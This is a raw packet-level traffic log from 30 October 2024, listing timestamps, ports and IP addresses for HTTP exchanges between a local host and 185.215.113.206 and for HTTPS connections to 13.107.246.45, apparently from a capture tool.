Oct 30, 2024 15:59:38.968009949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.968035936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.968071938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.968183041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:38.968261003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.968271971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:38.968306065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007086039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007106066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007118940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007153988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007189989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007244110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007257938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007270098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007282019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007292986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007298946 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007299900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007304907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007349014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007349014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007404089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007416010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007425070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007447958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007481098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007481098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007519007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007527113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007539988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007555008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007589102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007611990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007639885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007648945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007651091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007697105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007718086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007730961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007774115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007778883 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007816076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007827997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007878065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007929087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007941961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007951975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007967949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.007987976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.007987976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008022070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008042097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008052111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008090019 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008322001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008378029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008388996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008428097 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008452892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008465052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008507013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008671045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008714914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008728981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008740902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008763075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008764029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008764029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.008802891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.008845091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.048793077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.048806906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.048871040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.048935890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.048947096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.048983097 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.083348036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.083372116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.083389997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.083415031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.083420992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.083453894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.083511114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.083936930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.083977938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.084033012 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.084041119 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.084052086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.084093094 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.084111929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.084177971 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122497082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122512102 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122526884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122596979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122612953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122626066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122637033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122637987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122649908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122675896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122704983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122723103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122811079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122823000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122833014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122843981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122854948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.122863054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122917891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.122917891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123029947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123042107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123054028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123086929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123116970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123122931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123136997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123161077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123187065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123217106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123225927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123239994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123281956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123361111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123373985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123421907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123466969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123478889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123488903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123500109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123513937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123543978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123727083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123744965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123755932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123783112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123828888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123907089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123918056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123928070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123944044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.123960018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.123991966 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124033928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124037027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124047041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124058962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124083996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124113083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124310970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124356985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124363899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124371052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124404907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124442101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.124442101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.124540091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.164263964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.164283037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.164294958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.164334059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.164371967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.198874950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.198901892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.198915005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.198962927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199003935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199106932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199174881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199176073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199188948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199244022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199285984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199299097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199311018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199331999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199352980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199352980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199388027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.199441910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199480057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.199532986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.237585068 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.237786055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237838030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237845898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237855911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.237875938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237903118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.237906933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237921000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.237962008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.237962961 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.238146067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.238194942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.238195896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.238204956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.238238096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.238249063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.238251925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.238281965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.238497972 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.238511086 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.239073038 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.239077091 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.279854059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.285276890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.339740038 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.340650082 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.340668917 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.341439009 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.341444969 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.367887020 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.367964983 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.368031025 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.380896091 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.380896091 CET	49781	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.380920887 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.380929947 CET	443	49781	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.384562016 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.384602070 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.384661913 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.384815931 CET	49786	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.384830952 CET	443	49786	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.475193024 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.475274086 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.475322962 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.475358009 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.475392103 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.476367950 CET	49782	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.476372957 CET	443	49782	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.484340906 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.484350920 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.486449957 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.486865997 CET	49791	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.486880064 CET	443	49791	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.555677891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555711031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555737972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.555757046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.555762053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555814981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.555833101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555845976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555881977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.555963993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.555977106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556015968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556096077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556123972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556159973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556164980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556181908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556220055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556281090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556292057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556303978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556315899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556332111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556344032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556631088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556643009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556653023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556664944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556680918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556691885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556693077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556705952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556723118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556735039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.556914091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556965113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.556979895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.557008982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.557022095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.557033062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.557079077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.557125092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.557151079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.557162046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.557308912 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.645394087 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.645925045 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.645946980 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.646518946 CET	49784	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.646523952 CET	443	49784	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.669332027 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.669749022 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.669775963 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.670183897 CET	49783	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:39.670188904 CET	443	49783	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:39.671231031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671245098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671293974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671305895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671356916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671370029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671369076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671382904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671406031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671431065 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671478987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671498060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671509027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671545029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671556950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671709061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671757936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671786070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671797991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671833038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671857119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671881914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671888113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671926975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.671953917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671971083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.671993017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672043085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672163010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672179937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672223091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672224045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672261953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672296047 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672307968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672322035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672405958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672419071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672420979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672420979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672519922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672519922 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672617912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672679901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672691107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:39.672729015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:39.672729015 CET	49716	80	192.168.2.6	185.215.113.206
